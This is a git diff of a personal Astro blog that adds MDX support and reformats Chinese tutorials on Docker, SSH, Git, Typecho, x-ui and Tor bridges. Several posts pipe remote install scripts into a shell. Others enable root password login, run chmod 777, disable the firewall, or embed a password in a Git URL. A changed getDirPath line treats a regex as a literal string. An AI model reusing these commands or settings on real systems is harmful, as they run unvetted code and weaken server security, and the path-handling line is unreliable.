"resolved": "https://registry.npmmirror.com/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz",
@ -6317,6 +6907,31 @@
"integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==",
"license": "BlueOak-1.0.0"
},
"node_modules/parse-entities": {
"version": "4.0.2",
"resolved": "https://registry.npmmirror.com/parse-entities/-/parse-entities-4.0.2.tgz",
"integrity": "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==",
"license": "MIT",
"dependencies": {
"@types/unist": "^2.0.0",
"character-entities-legacy": "^3.0.0",
"character-reference-invalid": "^2.0.0",
"decode-named-character-reference": "^1.0.0",
"is-alphanumerical": "^2.0.0",
"is-decimal": "^2.0.0",
"is-hexadecimal": "^2.0.0"
},
"funding": {
"type": "github",
"url": "https://github.com/sponsors/wooorm"
}
},
"node_modules/parse-entities/node_modules/@types/unist": {
"version": "2.0.11",
"resolved": "https://registry.npmmirror.com/@types/unist/-/unist-2.0.11.tgz",
"integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==",
"license": "MIT"
},
"node_modules/parse-latin": {
"version": "7.0.0",
"resolved": "https://registry.npmmirror.com/parse-latin/-/parse-latin-7.0.0.tgz",
@ -6616,6 +7231,70 @@
"url": "https://paulmillr.com/funding/"
}
},
"node_modules/recma-build-jsx": {
"version": "1.0.0",
"resolved": "https://registry.npmmirror.com/recma-build-jsx/-/recma-build-jsx-1.0.0.tgz",
"integrity": "sha512-8GtdyqaBcDfva+GUKDr3nev3VpKAhup1+RvkMvUxURHpW7QyIvk9F5wz7Vzo06CEMSilw6uArgRqhpiUcWp8ew==",
"license": "MIT",
"dependencies": {
"@types/estree": "^1.0.0",
"estree-util-build-jsx": "^3.0.0",
"vfile": "^6.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/recma-jsx": {
"version": "1.0.0",
"resolved": "https://registry.npmmirror.com/recma-jsx/-/recma-jsx-1.0.0.tgz",
"integrity": "sha512-5vwkv65qWwYxg+Atz95acp8DMu1JDSqdGkA2Of1j6rCreyFUE/gp15fC8MnGEuG1W68UKjM6x6+YTWIh7hZM/Q==",
"license": "MIT",
"dependencies": {
"acorn-jsx": "^5.0.0",
"estree-util-to-js": "^2.0.0",
"recma-parse": "^1.0.0",
"recma-stringify": "^1.0.0",
"unified": "^11.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/recma-parse": {
"version": "1.0.0",
"resolved": "https://registry.npmmirror.com/recma-parse/-/recma-parse-1.0.0.tgz",
"integrity": "sha512-OYLsIGBB5Y5wjnSnQW6t3Xg7q3fQ7FWbw/vcXtORTnyaSFscOtABg+7Pnz6YZ6c27fG1/aN8CjfwoUEUIdwqWQ==",
"license": "MIT",
"dependencies": {
"@types/estree": "^1.0.0",
"esast-util-from-js": "^2.0.0",
"unified": "^11.0.0",
"vfile": "^6.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/recma-stringify": {
"version": "1.0.0",
"resolved": "https://registry.npmmirror.com/recma-stringify/-/recma-stringify-1.0.0.tgz",
"integrity": "sha512-cjwII1MdIIVloKvC9ErQ+OgAtwHBmcZ0Bg4ciz78FtbT8In39aAYbaA7zvxQ61xVMSPE8WxhLwLbhif4Js2C+g==",
"license": "MIT",
"dependencies": {
"@types/estree": "^1.0.0",
"estree-util-to-js": "^2.0.0",
"unified": "^11.0.0",
"vfile": "^6.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/regex": {
"version": "5.1.1",
"resolved": "https://registry.npmmirror.com/regex/-/regex-5.1.1.tgz",
@ -6706,6 +7385,21 @@
"url": "https://opencollective.com/unified"
}
},
"node_modules/rehype-recma": {
"version": "1.0.0",
"resolved": "https://registry.npmmirror.com/rehype-recma/-/rehype-recma-1.0.0.tgz",
"integrity": "sha512-lqA4rGUf1JmacCNWWZx0Wv1dHqMwxzsDWYMTowuplHF3xH0N/MmrZ/G3BDZnzAkRmxDadujCjaKM2hqYdCBOGw==",
"license": "MIT",
"dependencies": {
"@types/estree": "^1.0.0",
"@types/hast": "^3.0.0",
"hast-util-to-estree": "^3.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/rehype-stringify": {
"version": "10.0.1",
"resolved": "https://registry.npmmirror.com/rehype-stringify/-/rehype-stringify-10.0.1.tgz",
@ -6756,6 +7450,20 @@
"url": "https://opencollective.com/unified"
}
},
"node_modules/remark-mdx": {
"version": "3.1.0",
"resolved": "https://registry.npmmirror.com/remark-mdx/-/remark-mdx-3.1.0.tgz",
"integrity": "sha512-Ngl/H3YXyBV9RcRNdlYsZujAmhsxwzxpDzpDEhFBVAGthS4GDgnctpDjgFl/ULx5UEDzqtW1cyBSNKqYYrqLBA==",
"license": "MIT",
"dependencies": {
"mdast-util-mdx": "^3.0.0",
"micromark-extension-mdxjs": "^3.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/remark-parse": {
"version": "11.0.0",
"resolved": "https://registry.npmmirror.com/remark-parse/-/remark-parse-11.0.0.tgz",
@ -7248,6 +7956,15 @@
"url": "https://github.com/sponsors/cyyynthia"
}
},
"node_modules/source-map": {
"version": "0.7.4",
"resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.7.4.tgz",
"integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==",
"license": "BSD-3-Clause",
"engines": {
"node": ">= 8"
}
},
"node_modules/source-map-js": {
"version": "1.2.1",
"resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.1.tgz",
@ -7407,6 +8124,24 @@
"node": ">=4"
}
},
"node_modules/style-to-js": {
"version": "1.1.16",
"resolved": "https://registry.npmmirror.com/style-to-js/-/style-to-js-1.1.16.tgz",
"integrity": "sha512-/Q6ld50hKYPH3d/r6nr117TZkHR0w0kGGIVfpG9N6D8NymRPM9RqCUv4pRpJ62E5DqOYx2AFpbZMyCPnjQCnOw==",
"license": "MIT",
"dependencies": {
"style-to-object": "1.0.8"
}
},
"node_modules/style-to-object": {
"version": "1.0.8",
"resolved": "https://registry.npmmirror.com/style-to-object/-/style-to-object-1.0.8.tgz",
"integrity": "sha512-xT47I/Eo0rwJmaXC4oilDGDWLohVhR6o/xAQcPQN8q6QBuZVL8qMYL85kLmST5cPjAorwvqIA4qXTRQoYHaL6g==",
"license": "MIT",
"dependencies": {
"inline-style-parser": "0.2.4"
}
},
"node_modules/tailwindcss": {
"version": "4.0.9",
"resolved": "https://registry.npmmirror.com/tailwindcss/-/tailwindcss-4.0.9.tgz",
@ -7686,6 +8421,19 @@
"url": "https://opencollective.com/unified"
}
},
"node_modules/unist-util-position-from-estree": {
"version": "2.0.0",
"resolved": "https://registry.npmmirror.com/unist-util-position-from-estree/-/unist-util-position-from-estree-2.0.0.tgz",
"integrity": "sha512-KaFVRjoqLyF6YXCbVLNad/eS4+OfPQQn2yOd7zF/h5T/CSL2v8NpN6a5TPvtbXthAGw5nG+PuTtq+DdIZr+cRQ==",
"license": "MIT",
"dependencies": {
"@types/unist": "^3.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/unist-util-remove-position": {
"version": "5.0.0",
"resolved": "https://registry.npmmirror.com/unist-util-remove-position/-/unist-util-remove-position-5.0.0.tgz",

View File

@ -9,6 +9,7 @@
"astro": "astro"
},
"dependencies": {
"@astrojs/mdx": "^4.1.0",
"@astrojs/node": "^9.1.2",
"@astrojs/react": "^4.2.1",
"@astrojs/sitemap": "^3.2.1",

View File

@ -45,7 +45,7 @@ export function getBasename(filePath: string): string {
export function getDirPath(filePath: string, basePath = './src/content'): string {
const basename = getBasename(filePath);
const relativePath = getRelativePath(filePath, basePath);
return relativePath.replace(`${basename}.md`, '').replace(/\/$/, '');
return relativePath.replace(`${basename}.(md|mdx)`, '').replace(/\/$/, '');
}
// 辅助函数:获取特殊文件路径
@ -154,7 +154,7 @@ async function getContentStructure(): Promise<ContentStructure> {
// 4. 定义你的集合
const articles = defineCollection({
loader: glob({
pattern: "**/*.md",
pattern: "**/*.{md,mdx}",
base: "./src/content"
}),
schema: z.object({

View File

@ -5,11 +5,14 @@ tags: []
---
## 一. 安装 Termux
[官方版本](https://termux.dev/cn/)
[ZeroTermux (魔改)](https://github.com/hanxinhao000/ZeroTermux)
## 二. 安装 Linux
1. 下载容器脚本并使用
```bash
curl -LO https://gitee.com/mo2/linux/raw/2/2.awk
awk -f 2.awk

View File

@ -0,0 +1,38 @@
---
title: "安装谷歌三件套服务框架"
date: 2023-07-12T23:39:00+08:00
tags: []
---
## Google服务框架
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-services-framework/`](https://www.apkmirror.com/apk/google-inc/google-services-framework/)
首先点击上边的网站到Google服务框架程序的发布地址然后找到和自己手机的安卓版本相匹配的版本。
选择noDPI的版本
关于ARM版本
**一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**
## Google Play Service
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-services/`](https://www.apkmirror.com/apk/google-inc/google-play-services/)
首先点击上边的网站到Google Play Service的发布地址然后找到和自己手机的安卓版本相匹配的版本。
那么就选择noDPI的版本
关于ARM版本
**一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**
## Google Play Store
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-store/`](https://www.apkmirror.com/apk/google-inc/google-play-store/)
首先点击上边的网站到Google Play Store的发布地址然后找到和自己手机的安卓版本相匹配的版本。
选择noDPI的版本
关于ARM版本
**一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**

View File

@ -47,6 +47,7 @@ tags: ["Docker-compose"]
echo "date.timezone = PRC"; \
} > /usr/local/etc/php/conf.d/custom.ini
```
2. **Nginx 服务器配置**
文件路径:`./nginx/conf/default.conf`
@ -78,6 +79,7 @@ tags: ["Docker-compose"]
}
}
```
3. **Typecho 源代码部署**
创建 `./data` 文件夹,并将 [Typecho](https://github.com/typecho/typecho/releases) 源代码放入此文件夹。
@ -87,6 +89,7 @@ tags: ["Docker-compose"]
```bash
chmod -R 777 data
```
4. **Docker Compose 配置**
路径: `./docker-compose.yml`
@ -159,6 +162,7 @@ docker compose up -d
```text
因为docker内部网络可以用过容器名访问
```
* 数据库用户名: `root`
* 数据库密码: `typecho`
* 数据库名: `typecho`
@ -179,6 +183,7 @@ docker compose up -d
MYSQL_USER=typecho # 原有 MySQL 用户名
MYSQL_PASSWORD=typecho # 原有 MySQL 用户密码
```
4. 进入mysql容器,将数据库赋权给原用户
### 排版错误

View File

@ -6,7 +6,7 @@ tags: ["Docker-compose"]
## `docker-compose.yml` 文件配置
### 替换说明
### 替换说明
* 将 `/var/www/siyuan/` 替换为你的实际物理路径。
* 将 `Password` 替换为你的访问密码。
@ -30,7 +30,7 @@ services:
## 反向代理配置
### 替换说明
### Nginx配置替换说明
* 将 `your_domain.com` 替换为你自己的域名。
* 将 `path` 替换为你的SSL证书的实际路径。

View File

@ -87,5 +87,3 @@ server {
3. **备份数据**(可选):运行`cp -r /root/data/docker_data/alist /root/data/docker_data/alist.bak`
4. **拉取最新镜像**:运行`docker pull xhofe/alist:latest`
5. **重新运行安装**:运行`docker run -d --restart=always -v /www/wwwroot/alist:/opt/alist/data -p 7777:5244 --name="alist" xhofe/alist:latest`
---

View File

@ -7,27 +7,33 @@ tags: []
## 开放和关闭端口
### 开放 8888 端口
```bash
firewall-cmd --zone=public --add-port=8888/tcp --permanent
```
### 关闭 8888 端口
```bash
firewall-cmd --zone=public --remove-port=8888/tcp --permanent
```
### 配置立即生效
```bash
firewall-cmd --reload
```
## 查看防火墙所有开放的端口
```bash
firewall-cmd --zone=public --list-ports
```
## 关闭防火墙
如果要开放的端口太多,嫌麻烦,可以关闭防火墙,安全性自行评估
```bash
systemctl stop firewalld.service
```
@ -35,16 +41,19 @@ systemctl stop firewalld.service
## 查看防火墙状态
### 方式一
```bash
firewall-cmd --state
```
### 方式二
```bash
systemctl status firewalld.service
```
## 查看监听的端口
```bash
netstat -ntlp
```

View File

@ -33,15 +33,15 @@ git init
### 连接代码托管平台
> 你需要添加一个新的远程仓库并将其命名为`github`或其他你喜欢的名称。**任选其一**
> 你需要添加一个新的远程仓库并将其命名为`github`或其他你喜欢的名称。**任选其一**
HTTPS URL命令如下
HTTPS URL命令如下
```bash
git remote add github https://<你的 github 用户名>:<你的 github 密码>@github.com/<你的 github 用户名>/<你的仓库名称>.git
```
SSH URL命令可能如下
SSH URL命令可能如下
```bash
git remote add gitee git@github.com:<你的 github 用户名>/<你的仓库名称>.git
@ -65,7 +65,7 @@ git config --global user.name "Your Name"
#### 2. 创建密钥
在用户主目录下,看看有没有.ssh目录如果有再看看这个目录下有没有id_rsa和id_rsa.pub这两个文件如果已经有了可直接跳到下一步。如果没有打开ShellWindows下打开Git Bash创建SSH Key
在用户主目录下,看看有没有.ssh目录如果有再看看这个目录下有没有id_rsa和id_rsa.pub这两个文件如果已经有了可直接跳到下一步。如果没有打开ShellWindows下打开Git Bash创建SSH Key
```bash
ssh-keygen -t rsa -C "youremail@example.com"
@ -78,7 +78,7 @@ ssh-keygen -t rsa -C "youremail@example.com"
登陆GitHub打开`Account settings``SSH Keys`页面,点`Add SSH Key`
填上任意Title在Key文本框里粘贴`id_rsa.pub`文件的内容
#### 4. 验证远程仓库
#### 4. 验证远程仓库
```bash
git remote -v
@ -86,7 +86,7 @@ git remote -v
## 四、上传本地代码
### 1. 添加工作目录中的所有更改到暂存区
### 1. 添加工作目录中的所有更改到暂存区
```bash
git add .
@ -115,31 +115,37 @@ git push github master
```bash
git push <origin> <master>
```
* 强制将推送本地分支
```bash
git push -f <origin> <master>
```
* 拉取
```bash
git pull <origin> <master>
```
* 强制将分支的最新内容拉取到本地的分支
```bash
git pull --force <origin> <master>
```
* 将本地分支重置为远程分支的最新状态
```bash
git reset --hard <origin>/<master>
```
* 克隆仓库
```bash
git clone <url>
```
* 添加所有更改到暂存区
```bash
@ -151,46 +157,55 @@ git push github master
```bash
git reset <file1> <file2>
```
* 将文件从缓存区中移除,但物理文件仍然存在
```bash
git rm --cached <path>
```
* 查看暂存区的内容
```bash
git ls-files
```
* 提交已暂存的更改
```bash
git commit -m "Commit message"
```
* 查看分支
```bash
git branch
```
* 创建并切换到新分支
```bash
git checkout -b <new_branch_name>
```
* 删除本地分支
```bash
git branch -d <branch_name>
```
* 添加远程仓库
```bash
git remote add <origin> <remote_repository_url>
```
* 移除与远程仓库的关联
```bash
git remote remove <origin>
```
* 版本回退
> HEAD相当与当前、HEAD~1 退回上一个版本、HEAD~2 退回上两个版本,依次类推。
@ -215,7 +230,7 @@ git push github master
> 这个警告通常出现在文件的换行符混合使用时,比如在 Windows 系统上使用的 CRLF\r\n格式的换行符而在 Git 中又配置了
> core.autocrlf 为 true 的情况下。
#### 1. 禁用 core.autocrlf
#### 1. 禁用 core.autocrlf
```bash
git config --global core.autocrlf false
@ -223,15 +238,15 @@ git config --global core.autocrlf false
> 这将禁用自动换行符转换,保留文件中原有的换行符。
#### 2. 设置 core.eol
#### 2. 设置 core.eol
如果你希望在提交时保持换行符转换,但希望检出时保持原样,你可以尝试设置 core.eol
如果你希望在提交时保持换行符转换,但希望检出时保持原样,你可以尝试设置 core.eol
```bash
git config --global core.eol lf
```
或者
或者
```bash
git config --global core.eol crlf
@ -239,7 +254,7 @@ git config --global core.eol crlf
这将设置 Git 使用指定的换行符风格。
#### 3. 手动修复文件
#### 3. 手动修复文件
如果只是个别文件出现这个问题,你也可以手动修复,将文件的行尾调整为你希望的格式。
@ -352,4 +367,5 @@ cd d:/data/code
unset env
```
3. 再次运行 Git Bash 时,系统将提示您输入密码

View File

@ -58,3 +58,4 @@ sh -c "$(wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/ins
* [pip](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/pip): 为 `python` 包管理器 `pip` 提供补全
* [docker](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker): 为 `docker` 命令添加自动补全支持
* [docker-compose](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker-compose): 为 `docker-compose` 命令添加自动补全支持

View File

@ -6,23 +6,26 @@ tags: []
## 更改root密码
> 将<password>更改为所需的密码
> 将`password`更改为所需的密码
1. 修改密码
```bash
echo root:<password> |sudo chpasswd root
echo root:`password` |sudo chpasswd root
```
2. 开启root登录
```bash
sudo sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config;
```
3. 开启密码登录
```bash
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config;
```
4. 重启ssh服务
```bash
@ -44,12 +47,14 @@ tags: []
```bash
cp "$HOME/.ssh/id_rsa.pub" "$HOME/.ssh/authorized_keys"
```
3. 设置公钥权限
```bash
chmod 600 "$HOME/.ssh/authorized_keys"
chmod 700 "$HOME/.ssh"
```
4. ssh配置文件
1. 开启密钥登录
@ -57,11 +62,13 @@ tags: []
```bash
sudo sed -i 's/^#\?PubkeyAuthentication.*/PubkeyAuthentication yes/g' /etc/ssh/sshd_config
```
2. 关闭密码登录
```bash
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/g' /etc/ssh/sshd_config
```
5. 重启sshd服务
```bash

View File

@ -13,18 +13,21 @@ apt-get install vim # 注:如果没有在超级用户的操作下需要提权
```
### 二、安装 GCC编译器
```bash
apt-get install gcc
```
### 三、安装 build-essential
```bash
apt-get install build-essential
```
## 使用
### 1. 创建一个 hello.c 文件,并编辑第一个程序:
### 1. 创建一个 hello.c 文件,并编辑第一个程序
```c
#include <stdio.h>
@ -35,12 +38,14 @@ int main(void)
}
```
### 2. 执行编译命令:
### 2. 执行编译命令
```bash
gcc -Wall hello.c -o hello
```
### 3. 执行程序:
### 3. 执行程序
```bash
./hello
```
@ -48,50 +53,65 @@ gcc -Wall hello.c -o hello
## GCC 常用命令
### 编译源文件并生成可执行文件
```bash
gcc source.c -o output
```
这里 source.c 是你的源文件的名称output 是你希望生成的可执行文件的名称。
### 只进行编译,生成目标文件
```bash
gcc -c source.c -o output.o
```
这会生成名为`output.o`的目标文件,而不是可执行文件。
### 链接多个目标文件生成可执行文件
```bash
gcc file1.o file2.o -o output
```
如果你已经分别编译了多个源文件并生成了相应的目标文件,你可以将它们链接在一起生成可执行文件。
### 预处理并输出到文件
```bash
gcc -E source.c -o output.i
```
这个命令会执行预处理过程,并将结果输出到 output.i 文件中。
### 查看编译器的版本信息
```bash
gcc --version
```
### 生成调试信息
```bash
gcc -g source.c -o output
```
使用`-g`选项可以生成包含调试信息的可执行文件,方便调试器进行调试。
### 优化编译
```bash
gcc -O2 source.c -o output
```
使用`-O2`选项进行优化编译,提高程序运行效率。
### 开启一系列警告信息
```bash
gcc -Wall source.c -o output
```
`-Wall`选项涵盖了许多常见的警告,但并不包括所有的警告。
如果你想开启更严格的警告,可以考虑使用`-Wextra`
@ -99,4 +119,5 @@ gcc -Wall source.c -o output
```bash
gcc -Wall -Wextra source.c -o output
```
这将启用一些额外的警告,帮助你更全面地检查代码。

View File

@ -13,16 +13,19 @@ tags: []
```bash
sudo apt-get install python3-venv -y
```
2. 创建一个新的虚拟环境:
```bash
python3 -m venv "/var/script/venv"
```
3. 激活虚拟环境:
```bash
source "/var/script/venv/bin/activate"
```
4. 安装 Python 库
1. 安装 bypy
@ -30,6 +33,7 @@ tags: []
```bash
pip install bypy
```
2. 安装 requests
```bash
@ -40,7 +44,7 @@ tags: []
#### 授权登录
##### 运行 `bypy info` 后按照提示进行
##### 运行 `bypy info` 后按照提示进行
1. 将提示中的链接粘贴到浏览器中登录。
2. 输入账号密码登录后授权,获取授权码。
@ -63,21 +67,25 @@ Github项目地址:[https://github.com/tickstep/aliyunpan](https://github.com/ti
```bash
wget -P "/var/script" https://github.com/tickstep/aliyunpan/releases/download/v0.3.2/aliyunpan-v0.3.2-linux-amd64.zip -O "/var/script/aliyunpan.zip"
```
2. 解压工具包
```bash
unzip "/var/script/aliyunpan.zip" -d "/var/script"
```
3. 删除压缩包
```bash
rm "/var/script/aliyunpan.zip"
```
4. 重命名工具包名
```bash
mv "/var/script/$(ls "/var/script" | grep "aliyunpan")" "/var/script/aliyunpan"
```
5. 登录阿里云盘
```bash

View File

@ -11,6 +11,7 @@ wget http://download.bt.cn/install/bt-uninstall.sh
```
执行脚本
```bash
sh bt-uninstall.sh
```

View File

@ -9,21 +9,29 @@ tags: []
### 系统Debian 12
### 第一步:绑定域名
1. 修改 hosts 配置
```bash
vim /etc/hosts
```
添加需要绑定的域名,格式如下:
```text
公网IP 域名
```
### 第二步:配置 MySQL 数据库
1. 进入 MySQL
```bash
mysql -u root -p
```
2. 创建数据库和用户,并授权
```sql
CREATE DATABASE typecho_db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER 'typecho_user'@'localhost' IDENTIFIED BY 'your_password';
@ -37,23 +45,32 @@ tags: []
> 替换密码your_password
#### 导入备份数据 (如果有)
1. 切换到目标数据库
```sql
USE existing_database_name;
```
> 替换为现有数据库的名称。
2. 导入备份数据
```sql
SOURCE /path/to/backup_file.sql;
```
> 替换为备份文件的路径。
### 第三步:配置 Nginx
1. 创建 Nginx 网站配置文件
```bash
sudo vim /etc/nginx/sites-available/typecho.conf
```
2. 添加 Typecho 的反向代理配置信息
```nginx
server {
listen 80;
@ -104,48 +121,59 @@ tags: []
```
3. 创建软链接至 sites-enabled
```bash
sudo ln -s "/etc/nginx/sites-available/typecho.conf" "/etc/nginx/sites-enabled"
```
4. 重启服务器
```bash
nginx -t # 检查配置文件语法错误
nginx -s reload # 重新加载配置文件
```
### 第四步:申请 SSL 证书
1. 手动安装 acme.sh
```bash
git clone --depth=1 https://github.com/acmesh-official/acme.sh && cd acme.sh
```
或使用国内镜像
```bash
git clone --depth=1 https://gitee.com/neilpang/acme.sh && cd acme.sh
```
2. 安装 acme.sh
```bash
./acme.sh --install
```
3. 注册账号
```bash
acme.sh --register-account -m my@example.com
```
4. 生成证书
```bash
./acme.sh --issue -d mydomain.com -d www.mydomain.com --webroot /home/wwwroot/mydomain.com/
```
5. 配置 SSL 证书和密钥路径
```nginx
ssl_certificate /path/to/your_certificate.cer; # SSL 证书路径
ssl_certificate_key /path/to/your_certificate.key; # SSL 证书密钥路径
```
6. 重启 Nginx
```bash
nginx -t # 检查配置文件语法错误
nginx -s reload # 重新加载配置文件

View File

@ -7,76 +7,97 @@ tags: []
## 系统更新和软件安装
### 更新系统的软件包列表
在开始安装任何软件之前,最好先更新系统的软件包列表:
```bash
sudo apt update
```
### 第一步:安装 Nginx
1. **安装 Nginx**
```bash
sudo apt install nginx
```
2. **启动 Nginx 并检查状态**
```bash
sudo systemctl status nginx
```
### 第二步:安装 PHP
1. **安装 php-fpm 模块**
```bash
sudo apt install php-fpm
```
> 安装 php-fpm 模块而不是 PHP。如果 PHP 先安装,它可能会默认配置 Apache 服务器而不是 Nginx。`php-fpm` 包包含 PHP 的所有核心模块。
2. **(可选)安装其他 PHP 模块**,例如 `php-mysql`,运行 Typecho 所必需的软件包:
```bash
sudo apt install php-common php-mysql php-cgi php-mbstring php-curl php-gd php-xml php-xmlrpc php-pear
```
3. **确认 PHP 版本**
```bash
php -v
```
4. **确认 php-fpm 服务正在运行**(替换为您的 PHP 版本):
```bash
sudo systemctl status php8.3-fpm
```
### 第三步:安装 MySQL
1. **安装 gnupg 包**,用于处理密钥:
```bash
sudo apt install gnupg
```
2. **下载 MySQL 的官方 DEB 软件包**。先查询[最新的官方 DEB 包](https://dev.mysql.com/downloads/repo/apt/),然后使用 `wget` 下载:
```bash
wget [MySQL DEB Package URL]
```
3. **安装 DEB 包**
```bash
sudo dpkg -i [package-name.deb]
```
> 将 `[package-name.deb]` 替换为下载的包名。
4. **刷新 apt 软件包缓存**,以使新软件包可用:
```bash
sudo apt update
```
5. **安装 MySQL 服务器**
```bash
sudo apt install mysql-server
```
6. **检查 MySQL 服务状态**
```bash
sudo systemctl status mysql
```
7. **测试 MySQL**
```bash
mysqladmin -u root -p version
```

View File

@ -1,8 +1,11 @@
---
title: "markdown使用教程"
title: "MDX使用教程"
date: 2023-03-03
tags: []
---
## 1. Markdown 语法部分
### 1.1 标题语法
```markdown
@ -177,11 +180,11 @@ function greet(user: User): string {
#### 1.7.1 链接
```markdown
[Markdown 官方文档](https://www.markdownguide.org)
[MDX 官方文档](https://mdxjs.com)
[相对路径链接](../path/to/file.md)
```
[Markdown 官方文档](https://www.markdownguide.org)
[MDX 官方文档](https://mdxjs.com)
[相对路径链接](../path/to/file.md)
#### 1.7.2 图片
@ -194,52 +197,34 @@ function greet(user: User): string {
```markdown
---
***
___
```
---
### 1.9 脚注
## 2. HTML/JSX 语法部分
```markdown
这里有一个脚注[^1],这里有另一个脚注[^2]。
### 2.1 HTML 标签
[^1]: 这是第一个脚注的内容。
[^2]: 这是第二个脚注的内容。
#### 2.1.1 下划线文本
```mdx
<u>这是下划线文本</u>
```
这里有一个脚注[^1],这里有另一个脚注[^2]。
<u>这是下划线文本</u>
[^1]: 这是第一个脚注的内容。
[^2]: 这是第二个脚注的内容。
#### 2.1.2 收纳语法
### 1.10 转义字符
```markdown
\* 这不是斜体 \*
\` 这不是代码 \`
\[ 这不是链接 \]
```
\* 这不是斜体 \*
\` 这不是代码 \`
\[ 这不是链接 \]
### 1.11 收纳语法
```markdown
```mdx
<details>
<summary>点击展开</summary>
> 这里是被收纳的内容。
> 可以包含任何 Markdown 格式的内容。
>
> - 列表项1
> - 列表项2
> - 列表项3
这里是被收纳的内容。
可以包含任何 MDX 格式的内容。
- 列表项1
- 列表项2
- 列表项3
</details>
```
@ -247,11 +232,59 @@ ___
<details>
<summary>点击展开</summary>
> 这里是被收纳的内容。
> 可以包含任何 Markdown 格式的内容。
>
> - 列表项1
> - 列表项2
> - 列表项3
这里是被收纳的内容。
可以包含任何 MDX 格式的内容。
- 列表项1
- 列表项2
- 列表项3
</details>
### 2.2 React 组件使用
```mdx
import { Button } from './Button'
<Button variant="primary">
点击我
</Button>
```
### 2.3 导出和使用变量
```mdx
export const myVariable = "Hello MDX!"
# {myVariable}
```
### 2.4 使用 JavaScript 表达式
```mdx
{new Date().getFullYear()}
{['React', 'Vue', 'Angular'].map(framework => (
<li key={framework}>{framework}</li>
))}
```
### 2.5 组件属性传递
```mdx
<Card
title="我的卡片"
description="这是一个示例卡片"
image="path/to/image.jpg"
>
这里是卡片内容
</Card>
```
### 2.6 导入其他 MDX 文件
```mdx
import OtherContent from './other-content.mdx'
<OtherContent />
```

View File

@ -9,6 +9,7 @@ tags: ["x-ui"]
GitHub项目地址[https://github.com/FranzKafkaYu/x-ui](https://github.com/FranzKafkaYu/x-ui)
1. 复制粘贴以下代码,并运行:
```bash
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
```
@ -24,6 +25,7 @@ GitHub项目地址[https://github.com/FranzKafkaYu/x-ui](https://github.com/F
系统状态 - xray 状态 - 切换版本 - 切换为最新版本
配置节点:
- 入站列表 - 添加入站
- 协议:`vless`
- 端口:`443`

View File

@ -15,11 +15,13 @@ yum install tor -y
### 通过python进行编译安装
#### 安装所需依赖软件模块
```bash
yum install make automake gcc python-pip python-devel libyaml-devel
```
#### 安装 obfs4proxy
```bash
pip install obfsproxy
```
@ -27,16 +29,19 @@ pip install obfsproxy
### 通过go进行编译安装
#### 下载go的obfs4项目
```bash
git clone http://www.github.com/Yawning/obfs4
```
#### 进入obfs4目录进行编译
```bash
go build -o obfs4proxy/obfs4proxy ./obfs4proxy
```
#### 复制bofs4proxy到系统工作目录下
```bash
cp ./obfs4proxy/obfs4proxy /usr/bin/obfs4proxy
```
@ -44,6 +49,7 @@ cp ./obfs4proxy/obfs4proxy /usr/bin/obfs4proxy
## 3. 配置 Tor Bridges
### 编辑配置文件
```bash
vim /etc/tor/torrc
```
@ -62,11 +68,13 @@ PublishServerDescriptor 0
```
### 重启tor服务
```bash
systemctl restart tor
```
### 查看tor服务状态
```bash
systemctl status tor
```
@ -74,6 +82,7 @@ systemctl status tor
## 4. 使用网桥
查看日志文件:
```bash
tail -F /var/log/tor/notices.log
```
@ -104,6 +113,7 @@ iat-mode=0
```
根据日志中的信息获得最终的网桥配置:
```text
obfs4 <IP ADDRESS>:46396 530FA95A79B9145D315F15F01215BE2F3BE921EB
cert=6LMNcXh6MIfApbZiMksnS4Kj+2sffZ5pybSqtcOO5YoHgfrMpkBJqvLxhuR2Ppau0L2seg
@ -113,11 +123,13 @@ iatmode=0
## 5. 防火墙配置
编辑防火墙公共配置文件:
```bash
vim /etc/firewalld/zones/public.xml
```
内容如下(本例ORPort端口 => 6666, obfs4端口 => 46396)
```xml
<port protocol="tcp" port="ORPort端口"/>
